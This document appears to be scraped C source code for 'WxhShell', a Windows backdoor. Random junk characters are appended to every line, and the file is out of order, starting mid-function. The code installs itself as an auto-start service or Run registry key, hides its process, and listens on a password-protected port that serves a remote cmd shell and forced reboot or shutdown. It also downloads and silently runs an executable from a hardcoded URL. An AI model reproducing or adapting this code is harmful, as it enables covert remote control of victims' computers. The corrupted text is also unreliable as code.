    if(Boot(SHUTDOWN)) EG oe<.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6i=Nk"d  
    else { k 1sR^&{l  
    closesocket(wsh); j"J[dlm2M  
    ExitThread(0); ^BN?iXQhN  
    } K[Ao_v2g  
    break; =>u9k:('9  
    } ];7/DM#Np  
  // 获取shell wPRs.(]_  
  case 's': { Zt{\<5j  
    CmdShell(wsh); B`;DAsmT  
    closesocket(wsh); _ ATIV  
    ExitThread(0); ?5Ub&{  
    break; c&>==pI]k  
  } >XomjU[srQ  
  // 退出 V+MhS3VD  
  case 'x': { 1}DUe. a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >G<.^~o  
    CloseIt(wsh); ,].S~6IM  
    break; Y:3\z?oV[  
    } FZJyqqA$_  
  // 离开 38HnW  
  case 'q': { 6JZ$; x{j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6~y7A<[^  
    closesocket(wsh); w@Gk#  
    WSACleanup(); :d`8:gv?  
    exit(1); KGq4tlM6  
    break; P6([[mmG  
        } 3^%sz!jK+  
  } h8-'I= ~  
  } -_xC,dwK  
;d{lvKk  
  // 提示信息 h 1 `yW#%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o ImW  
} fNZ:l=L3):  
  } vp#r :+=  
+E-f  
  return; WC ZDS>  
} uL[%R2  
:1(UC}v  
// shell模块句柄 7iM;X2=7}  
int CmdShell(SOCKET sock) %m0x]  
{ 69tT'U3vb$  
STARTUPINFO si; 7J$5dFV2  
ZeroMemory(&si,sizeof(si)); sXmo.{Ayb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H,5 ##@X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?ybX &V  
PROCESS_INFORMATION ProcessInfo; Pln*?o  
char cmdline[]="cmd"; z6 A`/ jF}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nbM7 >tnsk  
  return 0; .}||!  
} RI2Or9.  
x|oa"l^JZ"  
// 自身启动模式 2`]_c=  
int StartFromService(void) AG==A&d>$  
{ 4t;m^Iv  
typedef struct d;c<" +  
{ kn1+lF@  
  DWORD ExitStatus; A_\ZY0Xt  
  DWORD PebBaseAddress; sJ(q.FRM'  
  DWORD AffinityMask; A[.5Bi  
  DWORD BasePriority; A1u|L^  
  ULONG UniqueProcessId; <1EmQ)B   
  ULONG InheritedFromUniqueProcessId; :1JICxAU  
}   PROCESS_BASIC_INFORMATION; qf qp}g\  
Y =BXV7\  
PROCNTQSIP NtQueryInformationProcess; af WEt -  
oL 69w1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bAl0z)p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %=O$@.%Zc  
Hxm CKW!  
  HANDLE             hProcess; YvP u%=eF  
  PROCESS_BASIC_INFORMATION pbi; [ queXDn"m  
wcI4Y0+J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WP-'gC6K=  
  if(NULL == hInst ) return 0; Fo1|O&>  
mlmXFEC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1n86Mp1.e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $EuWQq7OI2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gr a(DGX  
VSI.c`=,  
  if (!NtQueryInformationProcess) return 0; yt-F2Z&  
wc ! v /A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L beMP  
  if(!hProcess) return 0; 0- 'f1 1S  
,B<Tt|'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }nW)+  
,UD,)ZPf[  
  CloseHandle(hProcess); ecI[lB  
E*t0ia8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &_!g|-  
if(hProcess==NULL) return 0; 2\,vq R  
5E#koy7 $s  
HMODULE hMod; fWBI}~e  
char procName[255]; u+RdC;_  
unsigned long cbNeeded; sN `NZyG  
bof{R{3q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t/baze;V  
m )2t<  
  CloseHandle(hProcess); &Z^,-Y  
{=NHidi~  
if(strstr(procName,"services")) return 1; // 以服务启动 ,6%{9oW9Z:  
X|WAUp?  
  return 0; // 注册表启动 4IIXzMOa  
} sO!YM5v8  
Bi +a)_K  
// 主模块 rl,6r u  
int StartWxhshell(LPSTR lpCmdLine)  :_qgpE<  
{ >Tm|}\qEb  
  SOCKET wsl; zJfoU*G/B  
BOOL val=TRUE; TZ7{cekQ  
  int port=0;  t : =  
  struct sockaddr_in door; "lp),  
n+EK}= DK  
  if(wscfg.ws_autoins) Install(); ?CQ\9 4kO  
E!4Qc+.   
port=atoi(lpCmdLine); Q1Jkt  
:q2tda  
if(port<=0) port=wscfg.ws_port; cJ%u&2J_  
.+H8c.  
  WSADATA data; ='7n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; USnKj_e  
.bm#|X)RO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l_!.yV{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A;sdrA  
  door.sin_family = AF_INET; &B^vHH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eqSCNYN  
  door.sin_port = htons(port);  +McKyEa  
1 D fB9n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $FgpFxz;  
closesocket(wsl); .bOueB-  
return 1; }[u9vZL  
} {V!Jj6n  
Bu'PDy~W,  
  if(listen(wsl,2) == INVALID_SOCKET) { / 4K*iq  
closesocket(wsl); _[SP*" ]H  
return 1; >a]4}  
} 1:%m >4U  
  Wxhshell(wsl); <[^nD>t_  
  WSACleanup(); yiUJ!m  
>NN|vj  
return 0; #4{f2s[j6  
(WK $ )f  
} [UI4YZu}  
=*q:R9V  
// 以NT服务方式启动 eB:obz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -K`0`n}  
{ .~ a)  
DWORD   status = 0; % 8kbX  
  DWORD   specificError = 0xfffffff; qFV=P k  
=L$};ko  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J ,fXXi)J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y @AKb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S{Au%Rs  
  serviceStatus.dwWin32ExitCode     = 0; xXK7i\ny  
  serviceStatus.dwServiceSpecificExitCode = 0; HnVUG4yZTD  
  serviceStatus.dwCheckPoint       = 0; EjB<`yT  
  serviceStatus.dwWaitHint       = 0; n%Xw6qV:  
=VlO53Hy{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /|y3M/;F  
  if (hServiceStatusHandle==0) return; }[PbA4l.g  
Y9m'RFZr  
status = GetLastError(); {=7W;uL  
  if (status!=NO_ERROR) HLAYmXX"w  
{ V9"Kro  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0.nS306  
    serviceStatus.dwCheckPoint       = 0; q+32|k>)  
    serviceStatus.dwWaitHint       = 0; ~Xnq(}?ok  
    serviceStatus.dwWin32ExitCode     = status; dCcV$BX,K  
    serviceStatus.dwServiceSpecificExitCode = specificError; P _t8=d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \1RQ),5 %]  
    return; cW),Y|8  
  }  !+IxPn  
U<eVLfSij  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y[;Pl$  
  serviceStatus.dwCheckPoint       = 0; )%C482GO-  
  serviceStatus.dwWaitHint       = 0; J=TbZL4y}4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )^)VyI`O  
} IgC)YIhd  
4(&00#Yxg2  
// 处理NT服务事件,比如:启动、停止 =[`wyQe`_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U;KHF{Vm  
{ j2#Vdw|j  
switch(fdwControl) qo.~5   
{ 6(oGU4  
case SERVICE_CONTROL_STOP: h GS";g[?  
  serviceStatus.dwWin32ExitCode = 0; KbH#g>.oB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [kFX>G4  
  serviceStatus.dwCheckPoint   = 0; <l5{!g  
  serviceStatus.dwWaitHint     = 0; mn" a$  
  { ]xf{.z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oCSf$g8q  
  } m0F-[k3)  
  return; `S<uh9/  
case SERVICE_CONTROL_PAUSE: (H+'sf^h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5Zn3s()  
  break; vsoj] R$C  
case SERVICE_CONTROL_CONTINUE: [_qBp:_j?s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z|d_G}  
  break; }tx~y-QQ  
case SERVICE_CONTROL_INTERROGATE: >S{1=N@Ev=  
  break; kOR%<#:J  
}; h=4m2m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Rc&EO  
} [O [ N_z  
d[rxmEXht  
// 标准应用程序主函数 lyZof_/*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g@nk0lQewj  
{ + 7E6U*  
/D8cJgH-  
// 获取操作系统版本 jzEimKDE's  
OsIsNt=GetOsVer(); Bi kCjP[b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b]RnCu"  
9A3Q&@,  
  // 从命令行安装 &)fPz-s  
  if(strpbrk(lpCmdLine,"iI")) Install(); X~G"TT$)  
?Dm!;Z+7  
  // 下载执行文件 H:9( XW  
if(wscfg.ws_downexe) { DfV_08  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wGISb\rr  
  WinExec(wscfg.ws_filenam,SW_HIDE); ffm19B=  
} 3=dGz^Zdv:  
gNs@Q !  
if(!OsIsNt) { H7#RL1qM&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cj5M  
HideProc(); ~v,LFIT  
StartWxhshell(lpCmdLine); )OH!<jW  
} .,m$Cm  
else  IO>Cyo  
  if(StartFromService()) A1%V<im@Z  
  // 以服务方式启动 sTv/;*  
  StartServiceCtrlDispatcher(DispatchTable); 7\a(Imq  
else 3QUe:8  
  // 普通方式启动 D9H|]W~   
  StartWxhshell(lpCmdLine); <ze' o.c  
C)#:zv m  
return 0; aQFYSl  
} MQ\:/]a  
2E2J=Do  
6tG9PG98q9  
,=oq)Fm]  
=========================================== .#j)YG  
5/P?@`/ eT  
Y60ld7H  
4G_dnf_  
92 Pp.Rh  
`r>WVPS|  
" b;m6m4i'f{  
mvUYp,JECl  
#include <stdio.h> R"O9~s6N  
#include <string.h> 1P2%n[y  
#include <windows.h> Q `E{Oo,  
#include <winsock2.h> %Si3t2W/  
#include <winsvc.h> ~01r c  
#include <urlmon.h> ~ xf9 ml  
u0XGtu$4  
#pragma comment (lib, "Ws2_32.lib") c}v:X Slh7  
#pragma comment (lib, "urlmon.lib") S8"X7\d{  
b55|JWfC`  
#define MAX_USER   100 // 最大客户端连接数 6Mk@,\1  
#define BUF_SOCK   200 // sock buffer `$@1NL7>  
#define KEY_BUFF   255 // 输入 buffer /~ V"v"7E  
rKJ%/7m  
#define REBOOT     0   // 重启 Uut,cQ". d  
#define SHUTDOWN   1   // 关机 v S%+  
e@8I%%V,  
#define DEF_PORT   5000 // 监听端口 },i?3dSvl  
te:"1:e  
#define REG_LEN     16   // 注册表键长度 D;d;:WT5  
#define SVC_LEN     80   // NT服务名长度 wau81rSd  
79x^zqLb  
// 从dll定义API *^.b}K%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -BoN}xE4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I}k!i+Yl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B[$KnQM9Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o~iL aN\+  
})!n1kt  
// wxhshell配置信息 ARU,Wtj#  
struct WSCFG { OvK_CN{  
  int ws_port;         // 监听端口 C|!E' 8Rw  
  char ws_passstr[REG_LEN]; // 口令 eyAg\uuih  
  int ws_autoins;       // 安装标记, 1=yes 0=no |qbJ]v!  
  char ws_regname[REG_LEN]; // 注册表键名 k+i}U9c"  
  char ws_svcname[REG_LEN]; // 服务名 NqF-[G<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 " *Ni/p$I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9m6w.:S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ojIh;e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q?1 KxD!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O]2h=M@q.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 **s:H'Mw_  
^?J:eB!  
}; 1km=9[;w'  
%0u7pk  
// default Wxhshell configuration h/_z QR-  
struct WSCFG wscfg={DEF_PORT, s}?98?tYB  
    "xuhuanlingzhe", 7Q[P  
    1, WMUw5h  
    "Wxhshell", ]e"NJkcm  
    "Wxhshell", E-"Jgq\aC  
            "WxhShell Service", MESQAsx%  
    "Wrsky Windows CmdShell Service", BC4u,4S  
    "Please Input Your Password: ", a[#4Oq/t$  
  1, f%@Y XGf  
  "http://www.wrsky.com/wxhshell.exe", t"BpaA^gO  
  "Wxhshell.exe" ekAGzu  
    }; RNt3az  
"+XO[WGc  
// 消息定义模块 +ubO-A?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9f"6Jw@F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wq>j;\3b3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mU\$piei  
char *msg_ws_ext="\n\rExit."; r%B5@+{so  
char *msg_ws_end="\n\rQuit."; xMuy[)b  
char *msg_ws_boot="\n\rReboot..."; fO(.I  
char *msg_ws_poff="\n\rShutdown..."; {'}Ofj   
char *msg_ws_down="\n\rSave to "; O:Z|fDQ`  
>2C;5ba  
char *msg_ws_err="\n\rErr!"; <N`rcKE%~P  
char *msg_ws_ok="\n\rOK!"; j5/H#_ .  
75v*&-  
char ExeFile[MAX_PATH]; RyM2CQg[  
int nUser = 0; 6Q wL  
HANDLE handles[MAX_USER]; `zsKc 6%  
int OsIsNt; ]mqB&{g  
u>? VD%  
SERVICE_STATUS       serviceStatus; Y*AHwc<w`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z1Ju;k( 8  
C]):+F<7  
// 函数声明 'Uc|[l]  
int Install(void); OVivJx  
int Uninstall(void); <$=8'$T81  
int DownloadFile(char *sURL, SOCKET wsh); n1;V2k{uV  
int Boot(int flag); {< wq}~  
void HideProc(void); m3|,c[M1  
int GetOsVer(void); <QJmdcG  
int Wxhshell(SOCKET wsl); )8N/t6Q  
void TalkWithClient(void *cs); je{5iIr3/  
int CmdShell(SOCKET sock); #pVk%5N  
int StartFromService(void); |6;.C1\,  
int StartWxhshell(LPSTR lpCmdLine); |mM7P^I  
h\ ybh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z1:auodI@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ( Rf)&KN  
%%3ugD5i!  
// 数据结构和表定义 Em?skUnG,  
SERVICE_TABLE_ENTRY DispatchTable[] = /JfXK$`  
{ k1cBMDSokO  
{wscfg.ws_svcname, NTServiceMain}, #/1Bam6  
{NULL, NULL} DV.MvFV  
}; fcBS s\\C~  
~\kRW6  
// 自我安装 ^1nf|Xj [  
int Install(void) WW_X:N~~e\  
{ dZYS5_wr  
  char svExeFile[MAX_PATH]; -+4$W{OK*0  
  HKEY key; 0loC^\f  
  strcpy(svExeFile,ExeFile); 6zI?K4o  
?IWLl  
// 如果是win9x系统,修改注册表设为自启动 L NE]#8ue  
if(!OsIsNt) { {&4qknPd%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Z,+aLmb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mee-Qq:}  
  RegCloseKey(key); UU !I@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !#?tA/t@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); < xV!vN  
  RegCloseKey(key); tN0>5'/  
  return 0; +HcH]D;  
    } I2/wu(~>  
  } E7D^6G&i  
} R.fRQ>rI  
else { . =+7H`A  
%8-S>'g'  
// 如果是NT以上系统,安装为系统服务 C[s*Na-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m7@`POI  
if (schSCManager!=0) kOc'@;_O  
{ A} "*`y  
  SC_HANDLE schService = CreateService < 37vWK1+  
  ( SVpe^iQ]1\  
  schSCManager, !6}Cs3.  
  wscfg.ws_svcname, -WYJ1B0v  
  wscfg.ws_svcdisp, V{*9fB#4L  
  SERVICE_ALL_ACCESS, _1hqD EM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +Rvj]vd}&  
  SERVICE_AUTO_START, XNl!(2x'pb  
  SERVICE_ERROR_NORMAL, N; hq  
  svExeFile, @s[bRp`gd  
  NULL, XR&*g1  
  NULL, `2Z=Lp  
  NULL, /bb4nM_E/  
  NULL, h'}5 "m  
  NULL :G`_IB\  
  ); rm cy-}e  
  if (schService!=0) 1,mf]7k$  
  { o60wB-y  
  CloseServiceHandle(schService); [|>.iH X  
  CloseServiceHandle(schSCManager); C6Mb(&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mPu5%%  
  strcat(svExeFile,wscfg.ws_svcname);  {jl4`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,=ICSS~9l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vz#cb5:g  
  RegCloseKey(key); R'3i { 1  
  return 0; TwkzX|  
    } 5_O.p3$tV  
  } GphG/C (  
  CloseServiceHandle(schSCManager); vrbS-Z<S9  
} [ wROIvV  
} emaNmpg  
F0yh7MItV  
return 1; J2R<'(  
} QO,y/@Ph  
l5MxJ>?4%B  
// 自我卸载 PFc02 w  
int Uninstall(void) q@\D5F% >  
{ jv7zvp  
  HKEY key; Md~mI8  
UxW>hbzr&V  
if(!OsIsNt) { r`krv-,O$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {P]l{W@li  
  RegDeleteValue(key,wscfg.ws_regname); I;`V*/s8"  
  RegCloseKey(key); #"Zr#P{P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s)L7o)56/  
  RegDeleteValue(key,wscfg.ws_regname); }Bb(wP^B.  
  RegCloseKey(key); g7H;d  
  return 0; #Q{6/{bM&J  
  } 1idEm*3&(  
} :{fsfZXXr  
} q4Z \y  
else { J3'"-,Hv  
QVP $e`4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CeZ5Ti?F  
if (schSCManager!=0) Q A%GK4F70  
{ |9Y9pked8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0I cyi#N  
  if (schService!=0) >Kr,(8rA  
  { z(m*]kpL"  
  if(DeleteService(schService)!=0) { vS X 6~m  
  CloseServiceHandle(schService); D"o>\Q  
  CloseServiceHandle(schSCManager); ]EK"AuEz`  
  return 0; '[HFIJ0K!  
  } saV3<zgx  
  CloseServiceHandle(schService); >WpPYUbH  
  } &3JbAJ|;X  
  CloseServiceHandle(schSCManager); A6sBObw;  
} tSm|U<  
} ?;*mSQA`J  
z!1j8o2  
return 1; V`%m~#Me  
} 7e40 }n  
`)%eU~  
// 从指定url下载文件 1S=I(n?E  
int DownloadFile(char *sURL, SOCKET wsh) n*;I2FV]  
{ _#L IG2d  
  HRESULT hr; 4@bL` L)  
char seps[]= "/"; p5bH- km6  
char *token; YF;8il{p  
char *file; Ri,UHI4 W  
char myURL[MAX_PATH]; CEUR-LK0  
char myFILE[MAX_PATH]; W w8[d  
N( /PJJ~  
strcpy(myURL,sURL); !Khsx  
  token=strtok(myURL,seps); Pc$<Cv|vz  
  while(token!=NULL) :&a|8Wi[W  
  { LHa cHv  
    file=token; A$oYw(m#  
  token=strtok(NULL,seps); +(<CE#bb[  
  } 9(iJ=ao (  
pymT-  
GetCurrentDirectory(MAX_PATH,myFILE); :l6sESr  
strcat(myFILE, "\\"); rdC(+2+Ay  
strcat(myFILE, file); Q!"Li  
  send(wsh,myFILE,strlen(myFILE),0); nc31X  
send(wsh,"...",3,0); :;JJvYIs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +28FB[W  
  if(hr==S_OK) <y!BO  
return 0; QQ?` 1W  
else 8kqxr&,[  
return 1; *</;:?  
b\^.5SEw  
} /fD)/x  
r)b`3=  
// 系统电源模块 4];NX  
int Boot(int flag) >#kzPYsp  
{ q<7Nz] Td  
  HANDLE hToken; yx-{}Yj^  
  TOKEN_PRIVILEGES tkp; LAr6J  
YY.;J3C  
  if(OsIsNt) { 2=#O4k.@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `R; ct4-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {g);HnmPN  
    tkp.PrivilegeCount = 1; Ohjqdv@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z|~<B4#c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EatpORq  
if(flag==REBOOT) { *m|]c4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bg#NB  
  return 0; VE GUhI/d  
} OixQlAb{  
else { Ck[Z(=b$$:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9@S icqx   
  return 0; oACE:h9U  
} #<?j784  
  } 7{b|+0W  
  else { :Z/ ig%  
if(flag==REBOOT) { pY:xxnE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %;zA_Wg  
  return 0; PL VF  
} Gd'^vqo<  
else { E2\)>YF{ P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x^SE>dy ?z  
  return 0; !,1~:*:  
} iBc( @EJ  
} q_W NN/w  
8..itty  
return 1; eDy}_By^  
} =|jOio=s:  
v=/V<3  
// win9x进程隐藏模块 |g7E*1Ie  
void HideProc(void) }b+=,Sc"  
{ k1%Ek#5  
(57x5qP X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `HHbQXB  
  if ( hKernel != NULL ) fygy#&}~  
  { - BocWq\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %i^%D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); htkyywv  
    FreeLibrary(hKernel); 7u!p.kN  
  } t%=ylEPW  
*rqih_j0  
return; )\s:.<?EQ  
} 9t)t-t#P;  
@4&sL](q  
// 获取操作系统版本 .Oim7JQ8  
int GetOsVer(void) sGzd c  
{ K{ 0mb  
  OSVERSIONINFO winfo; ))+R*k%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); inhb>zB  
  GetVersionEx(&winfo); TX 12$p\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n ,H;PB  
  return 1; N-5lILuJJ  
  else ~JBQjb]  
  return 0; v[~ U*#i  
} wlkS+$<  
m2 OP=z@)  
// 客户端句柄模块 Ot/Y?=j~  
int Wxhshell(SOCKET wsl) 7$w:~VZ  
{ ukZL  
  SOCKET wsh; yyZjMnuD  
  struct sockaddr_in client; 6vmkDL8{A8  
  DWORD myID; 8T1`TGSFC  
L1aN"KGMF  
  while(nUser<MAX_USER) t<$yxD/R  
{ 2Ejs{KUj  
  int nSize=sizeof(client); fXL$CgXG\x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {E@@14]g  
  if(wsh==INVALID_SOCKET) return 1; b@,w/Uw[*  
!ZB|GLpo6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kWr*+3Xq  
if(handles[nUser]==0) 9m8`4%y=  
  closesocket(wsh); kH{axMNc  
else _:TD{EO$  
  nUser++; BI}>"',  
  } zf^!Zqn[8z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !iZ*ZPu  
*%g*Np_P  
  return 0; '1bdBx\<.  
} X3q'x}{  
}G-qOt  
// 关闭 socket psYfz)1;  
void CloseIt(SOCKET wsh) rYc?y  
{ lKe aI  
closesocket(wsh); f9#B(4Tgi  
nUser--; BPC$ v\a  
ExitThread(0); g*8sh  
} )L^WD$"'Q  
:e gSW2"5S  
// 客户端请求句柄 whvM^  
void TalkWithClient(void *cs) agt7b@-5=  
{ 8;+t.{  
R{4O*i8#  
  SOCKET wsh=(SOCKET)cs; ]1gt|M^  
  char pwd[SVC_LEN]; :vc[ iZ  
  char cmd[KEY_BUFF]; \alRBHqE  
char chr[1]; "IB)=Hc  
int i,j; jp2l}C  
>j\zj] -"  
  while (nUser < MAX_USER) { ah~7T~  
Ei}B9 &O  
if(wscfg.ws_passstr) { Dx iCq(;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0PTB3-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *USZ2|i  
  //ZeroMemory(pwd,KEY_BUFF); RU#Q<QI(  
      i=0; 2\m+  
  while(i<SVC_LEN) { N7Dm,Q]  
'9i:b]Hru  
  // 设置超时 C[&L h_F\  
  fd_set FdRead; fFiFc^  
  struct timeval TimeOut; ~Ge-7^Fo7  
  FD_ZERO(&FdRead); 5$N4< Lo7  
  FD_SET(wsh,&FdRead); Nnx"b 5I}n  
  TimeOut.tv_sec=8; TN` pai0  
  TimeOut.tv_usec=0; jtl7t59R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /k7`TUK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o#E z_D[  
-rU *)0PR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v%B^\S3)  
  pwd=chr[0]; e8P |eK  
  if(chr[0]==0xd || chr[0]==0xa) { nuXaZRH  
  pwd=0; [f^~Z'TIN/  
  break; b) .@ xS  
  } &W}ooGg  
  i++; AnIENJ  
    } 3\6jzD  
:0#!=  
  // 如果是非法用户,关闭 socket < R0c=BZ>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pH)V:BmJ  
} 8`'_ckIgr  
|1;0q<Ka  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dZv-lMYBE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6rdm=8WFA  
}LQ&AIRN  
while(1) { .rax`@\8  
\'j%q\Bl;  
  ZeroMemory(cmd,KEY_BUFF); 5AQ $xm4  
k g+"Ta[9  
      // 自动支持客户端 telnet标准   >m%\SuXq  
  j=0; YdIV_&-W  
  while(j<KEY_BUFF) { ;J2=6np  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^'[Rb!Q8  
  cmd[j]=chr[0]; -`#LrO;n  
  if(chr[0]==0xa || chr[0]==0xd) { R (4 :_ xc  
  cmd[j]=0; {Pu\KRU  
  break; N'|zPFk g  
  } G8eAj%88  
  j++; %vn rLt$  
    } u'LA%l-  
Pp #!yMxBr  
  // 下载文件 Jg |/*Or  
  if(strstr(cmd,"http://")) { N CX!ss  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aY8>#t?  
  if(DownloadFile(cmd,wsh)) Y~bp:FkS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;nSaZ$`5  
  else S yX>zN!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'szkn0  
  } k45xtKS>d  
  else { rzY7f: '  
8`9!ocrM  
    switch(cmd[0]) { L 'H1\' o  
  CKrh14ul  
